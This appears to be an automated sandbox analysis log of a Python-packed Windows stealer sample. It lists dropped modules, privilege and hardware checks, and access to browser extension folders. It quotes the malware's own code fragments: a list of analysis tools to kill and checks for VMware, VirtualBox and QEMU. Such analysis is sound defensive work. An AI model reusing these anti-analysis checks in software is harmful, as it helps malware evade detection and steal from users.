Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_helpers.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_http_parser.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\frozenlist\_frozenlist.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\yarl\_quoting_c.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_http_parser.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\python311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_websocket.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_helpers.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\frozenlist\_frozenlist.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\yarl\_quoting_c.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_websocket.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_http_writer.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\multidict\_multidict.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_ssl.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_81-17199
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-17183

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7364	Thread sleep count: 4603 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep count: 919 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7624	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Manufacturer FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF72AA8842C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA78AF0 FindFirstFileExW,FindClose,	0_2_00007FF72AA78AF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA924C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF72AA924C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: 0_2_00007FF72AA8842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF72AA8842C
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	81_2_00007FF6E3A7842C
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A68AF0 FindFirstFileExW,FindClose,	81_2_00007FF6E3A68AF0
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A824C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	81_2_00007FF6E3A824C4
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	81_2_00007FF6E3A7842C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwareuser.exe"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe", # VMware
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmusrvc.exe"P
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe", # VirtualBox
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: self.banned_process = ["HTTP Toolkit.exe", "httpdebuggerui.exe","wireshark.exe", "fiddler.exe", "regedit.exe", "taskmgr.exe", "vboxservice.exe", "df5serv.exe", "processhacker.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe", "ida64.exe", "ollydbg.exe",
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000004E.00000002.1790234355.000002674931A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Heartbeat Service
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: elif b"vmware" in stdout2.lower():
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: b'VMware'*
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1666815528.000002DCCF02C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969808694.000002DCCF02E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969112805.000002DCCEF3A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1965276250.000002DCCEF35000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1972389276.000002DCCF030000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969639585.000002DCCEF69000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1988347841.000002DCCF030000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670341282.000002DCCEF78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe", # VirtualBox
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Volume Shadow Copy Requestor
Source: ROUTE.EXE, 0000004B.00000002.1787944348.000001F836B19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971539043.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1965135302.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990080929.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Time Synchronization Service
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exepC
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxtray.exe"
Source: svchost.exe, 0000003B.00000002.2894048217.000001B772640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHp
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: b"vmware"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe0E
Source: net1.exe, 00000041.00000002.1769944315.00000281E77F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators
Source: ARP.EXE, 0000004C.00000002.1788850433.000001A5F0C27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllAA
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1955400520.000002DCD1507000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmusrvc.ex
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe", # VMware
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971539043.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1965135302.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990080929.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V PowerShell Direct Service
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: return any(x.lower() in decoded_output[2].strip().lower() for x in ("virtualbox", "vmware"))
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vboxtray.exe", # VirtualBox
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware0*
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000004E.00000002.1790234355.000002674931A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Data Exchange Service
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Shutdown Service
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: b'VMware'
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970902588.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1957627500.000002DCD179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Service Interface
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe"p2
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exe04
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exepD
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmware"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 'qemu'
Source: sc.exe, 0000004E.00000002.1790234355.000002674931A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service InterfacevmicguestinterfaceVirtual DiskvdsCredential ManagerVaultSvcVolumetric Audio Compositor ServiceVacSvcUpdate Orchestrator ServiceU
